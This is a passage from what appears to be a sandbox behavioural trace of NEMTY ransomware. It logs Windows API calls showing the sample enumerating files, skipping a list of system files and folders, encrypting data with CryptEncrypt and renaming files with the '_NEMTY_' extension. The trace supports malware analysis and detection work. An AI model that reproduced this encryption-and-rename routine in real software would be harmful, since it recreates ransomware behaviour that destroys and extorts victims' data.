lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.917] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.926] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.926] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.936] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.936] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.945] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.954] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.954] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.963] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.963] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.964] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.973] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.973] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.982] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.982] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.992] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.992] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.001] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.007] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.013] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.013] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0096.013] CloseHandle (hObject=0xffffffff) returned 0 [0096.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0096.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0096.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0096.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0096.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0096.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0096.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0096.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0096.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0096.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0096.014] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png._nemty_kgobjgd_")) returned 0 [0096.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0096.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0096.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0096.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0096.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0096.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0096.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0096.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0096.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0096.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.014] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="videowall.png", cAlternateFileName="")) returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2=".") returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="..") returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="...") returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="windows") returned -1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="$RECYCLE.BIN") returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="rsa") returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="NTDETECT.COM") returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="ntldr") returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="MSDOS.SYS") returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="IO.SYS") returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="boot.ini") returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="boot.ini") returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="AUTOEXEC.BAT") returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="ntuser.dat") returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="desktop.ini") returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="CONFIG.SYS") returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="RECYCLER") returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="BOOTSECT.BAK") returned 1 [0096.014] lstrcmpiW (lpString1="videowall.png", lpString2="bootmgr") returned 1 [0096.015] lstrcmpiW (lpString1="videowall.png", lpString2="programdata") returned 1 [0096.015] lstrcmpiW (lpString1="videowall.png", lpString2="appdata") returned 1 [0096.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="videowall.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0096.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="videowall.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="videowall.png", lpUsedDefaultChar=0x0) returned 13 [0096.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0096.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="videowall.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0096.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="videowall.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="videowall.png", lpUsedDefaultChar=0x0) returned 13 [0096.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0096.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="videowall.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0096.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="videowall.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="videowall.png", lpUsedDefaultChar=0x0) returned 13 [0096.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="videowall.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0096.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="videowall.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="videowall.png", lpUsedDefaultChar=0x0) returned 13 [0096.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0096.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0096.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0096.015] Sleep (dwMilliseconds=0x5) [0096.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xece073d0, dwHighDateTime=0x1d561e7)) [0096.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xece073d0, dwHighDateTime=0x1d561e7)) [0096.016] GetLastError () returned 0x5 [0096.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0096.016] GetLastError () returned 0x5 [0096.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0096.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0096.016] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0096.016] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0096.016] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0096.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0096.016] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="H07ozaT4X8/rGW/P9eT5JjULJublon3YjhV6m/3ItLz9cZssCjYIoM/03vqvo39x\r\nrpqqI+avyKFxKkGrjKkVXZ/6rvGqNOJXbHecv696hraD9BFTKsOsciiWOJN/ScFj\r\nd6gh9ofJ9vWGhayIYYJAO4zThJpmOWSZ1nX6KTLJDUGoDlF0gnG7xPvvELD6ECTI\r\nLOWl4rioGN++CxWGSu7cASN447ArwwC3IUlvxCEO0mW/eAFjaIQK6bWNuYCfqjmt\r\nEeKQ7Bkz8ya5iggnrMSpmfQX0pspm+7R9CQ/vdBMVycjWFoQd4avGmyAdwG4e4II\r\nu8T3Ff1wmHym4piRDEwuGw==\r\n", pcchString=0x653e91c) returned 1 [0096.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0096.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0096.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0096.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0096.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0096.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0096.016] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\videowall.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\videowall.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.017] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0096.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0096.017] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.017] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.026] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.026] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.026] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.035] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.045] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.045] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.045] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.045] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.065] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 